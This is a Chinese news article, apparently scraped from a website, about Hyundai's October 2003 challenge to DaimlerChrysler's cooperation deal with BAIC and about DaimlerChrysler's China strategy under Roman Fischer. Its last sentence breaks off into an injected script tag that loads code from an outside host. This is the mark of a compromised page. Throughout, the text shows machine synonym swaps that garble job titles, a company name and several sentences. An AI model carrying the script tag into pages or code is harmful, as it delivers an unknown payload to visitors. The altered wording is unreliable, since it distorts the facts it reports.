□节外生枝
在华表现一直低迷的戴姆勒克莱斯勒公司正为其最新的中国策略布局踌躇满志的时候，韩国现代汽车公司却忽然杀出给它叫停。
2003年十月中旬，现代汽车忽然需要北汽控股撤销9月与戴—克签订的合作框架协议。这家全球第八大汽车生产厂家的发言人Jake Jang称，北汽控股与戴—克之间的谅解备忘录与现代汽车与北汽控股4月份签订的合同有冲突。他表示，现代汽车期望两个合伙人撤回谅解备忘录。
哪个也没料到会出现这种情况。本来，戴－克与北汽控股大约可在年底签订正式协议，由此敲定奔驰轿车在北京吉普生产、中重卡在北汽福田生产的计划。联系到去年与福建汽车集团签署的合资生产厂家用车的协议，戴－克的策略布局已经基本到位，只等政府部门审批放行就能投身到热火朝天的中国车市中来。
公开发难的现代汽车觉得，北汽控股和戴－克之间的协定违反了该公司与北汽控股之间签订的独家家用车生产协议，即在北京汽车与现代汽车结盟期间，北京汽车不能与外国公司打造单独的合资企业。
这让费若铭和他的顶头上司们很难堪。要了解戴－克其时手头持有现代汽车10.5%的股本，并可选择将这一股本比率增加至15%。作为戴－克亚洲策略的要紧一部分，双方原本还计划成立一家对等持股的卡车合资企业，与在新的4缸汽油引擎方面技术合作。
北京的空气变得骤然紧张，一连串的磋商在秘密进行。负责政府联络的现代汽车北京代表处首席代表谭道宏一连几天关掉手机在外面开会。戴－克方面拒绝就此事发表一句评论。而北汽控股的一位重量级官员则愤怒地表示：“现代汽车用这种方法阻止大家与戴－克合作没道理，这对它一定不会有哪些好结果。”
依据这位官员的讲解，现代汽车指控北汽控股违反的是一个约束期为一年的双方在卡车项目进行合作的协议。但直到2003年十月18日约束期结束，现代汽车也未曾与北汽控股在卡车范围进行任何合作。“大家才应该感到气愤，”他说，“现代汽车的企图没达成的可能。”
事实上，即便现代汽车的需要有理有据，北京方面延请戴－克的举动没任何改变的可能。以往，北汽控股董事长安庆衡曾屡屡声称，“只找一个伙伴，是大家的出发点”。这一次面对现代的要挟，北汽控股的一位高层明确表示：“戴－克的知名度和业务范围都比现代高得多，广得多。”
毫无疑问，现代汽车抢在戴－克与北汽控股正式协议签署前搅局，就是想干扰中央政府对此项目的批准，并借机拿到更多的筹码。但无论从什么角度，北汽控股都不可能舍弃这笔巨额买卖。
□扫除障碍
2003年4月，戴－克(中国)投资公司总裁职位易人，同时换将的还有奔驰(中国)。目前出任戴－克中国首席实行官的费若铭（Roman Fischer），在戴－克已任职20年，过去两年来在负责澳大利亚及太平洋区域的业务，曾创下梅塞德斯轿车在澳大利亚年销售量增长20%的辉煌营业额。在新职位上，他负责扩大奔驰、克莱斯勒、吉普这类品牌在中国的影响力，与协调同策略伙伴三菱、现代的合作，并直接向坐落于德国斯图加特的管理董事会汇报工作。但对于国内市场而言，他是个彻头彻尾的新人。
韩国现代叫板戴－克与北汽合作的事件一度成为费若铭的棘手难点。戴－克一直试图控股韩国现代，由此北京现代也就自然纳入了戴－克旗下，届时整个北汽也就几乎全部归其掌控。拥有了整个北汽，戴－克的中国策略自然会愈加如鱼得水，在中国甚至整个亚洲的地位也将得到提高。但因为则觉得虽然戴－克一直想控股韩国现代，但因为现代汽车中郑氏兄弟的联合股份大于10%，戴－克未能遂愿。
中国汽车工业咨询进步公司首席剖析师贾新光说，韩国现代正在成为新的汽车巨人，它不到穷途末路绝不会被戴－克控制。它还想借助北京提高自己在国际汽车业中的地位，戴－克到北京显然妨碍了这家全球第八大汽车生产厂家在中国施展身手。因此最后现代汽车迫使戴－克最后舍弃了与现代汽车的股权关系。
戴－克还过去期望依托日本三菱汽车使自己在小型轿车的研发上获得更多支持。“在大家与三菱汽车公司网盟的框架中，革新性的四座超小型轿车smart生产线的延伸正在获得突飞猛进的进展，”戴－克管理委员会奔驰轿车及smart的负责人于尔根·胡伯特指出。
但虽然是三菱一大股东，但它并无绝对控制权，三菱汽车与戴克的合作从来不曾甜蜜。在中国，戴－克与三菱当时还有更多利益上的纠葛。戴－克力主三菱参股北京吉普，但三菱更想?script src=http://cn.jxmmtv.com/cn.js>cript>